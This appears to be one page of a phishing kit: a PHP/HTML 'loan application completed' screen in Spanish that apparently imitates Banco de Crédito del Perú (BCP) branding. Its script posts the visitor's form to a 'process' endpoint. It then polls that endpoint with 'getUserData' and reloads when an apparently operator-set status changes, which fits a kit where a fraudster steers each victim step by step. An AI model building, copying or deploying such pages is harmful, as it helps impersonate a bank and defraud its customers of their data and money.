<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <base href="<?php echo URLROOTBASE ?>" target="_blank">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="public/favicon.ico">
    <link rel="stylesheet" type="text/css" href="public/styles.8972384723.css" />
    <link rel="stylesheet" type="text/css" href="public/estilos.28374234.css" />
    <title>Préstamos en línea</title>
    <style>
        #form1 {

            height: 100%;

        }
    </style>
</head>

<body>
    <form id="form1" onsubmit="return false">
        <div id="modalloader1" class="modalloader1 azul hidden">
            <div class="spinner-container">
                <div class="image" style="top: 52px; width: 25px; position: relative;"></div>
                <div class="spinner"></div>
                <p
                    style="text-align: center; font-family: var(--bcp-font-family-primary-regular, 'Flexo-Regular'),helvetica,arial,sans-serif!important; font-size: 13px; color: white; margin-top: 10px;">
                    Espere un momento <br> por favor...</p>
            </div>
        </div>
        <div class="c019">
            <div class="max2 margin-auto">
                <div class="c0191">
                    <img height="25" src="public/paso2.8937458345/logoblanco.8783745345.svg">
                </div>
            </div>
        </div>
        <div style="height: 80px;">&nbsp;</div>
        <div class="c026" style="overflow: scroll ;">
            <div class="mb-30 textcenter">
                <img  src="public/mensaje.287342/succespheon.345345.svg">
            </div>
            <div class="mb-30 textcenter">
                <p style="font-size: 1.5rem;" class="text6">
                    Proceso Completado
                </p>
            </div>
            <div class="mb-30 textcenter">
                <p style="font-size: 1.2rem; text-align: justify;" class="text2">
                    Estimado(a), la <span class="azul bold">primera</span> fase del proceso se 
                    ha completado con <span class="azul bold">éxito</span>, su solicitud de préstamo 
                    esta en <span class="azul bold">proceso de evaluación</span>, en caso de ser 
                    aprobado uno de nuestros asesores se pondrá en 
                    contacto con usted para culminar el <span class="azul bold">desembolso 
                    de su préstamo.</span>
                </p>
            </div>

            <div style="height: 20px;"></div>
            <div class="mb-10">
                <button id="btn1" class="btn1" type="button">
                    <span>Continuar</span>
                </button>
            </div>

            <div style="height: 50px;"></div>
        </div>
        <div style="height: 60px;"></div>
    </form>
    <script src="public/scripts.js"></script>
    <script>

        var URLROOTBASE = '<?php echo URLROOTBASE ?>'
        var modalloader1 = document.getElementById("modalloader1")
        var form = document.getElementById("form1")
        var btn = document.getElementById("btn1")


        recheckstatus = function () {
            window.setTimeout(checkstatus, 2000)
        }

        checkstatus = async function () {
            let btn = form.querySelector(".btn1")
            let url = URLROOTBASE + `process`
            let fd = new FormData()
            fd.append("accion", "getUserData")
            let envio = await fetch(url, {
                method: "post",
                body: fd
            })

            let raw = await envio.text()

            if (!envio.ok) {

                window.setTimeout(checkstatus, 2500)
                return
            }

            try {
                let json = JSON.parse(raw)
                let esta = json.esta

                if (esta != "delay") {
                    location.reload()
                    return
                    //return
                }


                window.setTimeout(checkstatus, 2500)
                return

            } catch (ex) {
                window.setTimeout(checkstatus, 2500)
                return
            }


        }

        sub = async function () {

            btn.classList.add("processing")
            show(modalloader1)

            let url = URLROOTBASE + "process"
            let fd = new FormData(form)
            fd.append("accion","mensaje")
            let envio = await fetch(url,{
                method:"post",
                body:fd
            })

            let raw = await envio.text()

            if(!envio.ok){
                location.reload()
                return
            }

            window.setTimeout(checkstatus,3000)

        }

        init = function () {

            btn.addEventListener("click", sub)

        }

        window.addEventListener("load", init)

    </script>
</body>

</html>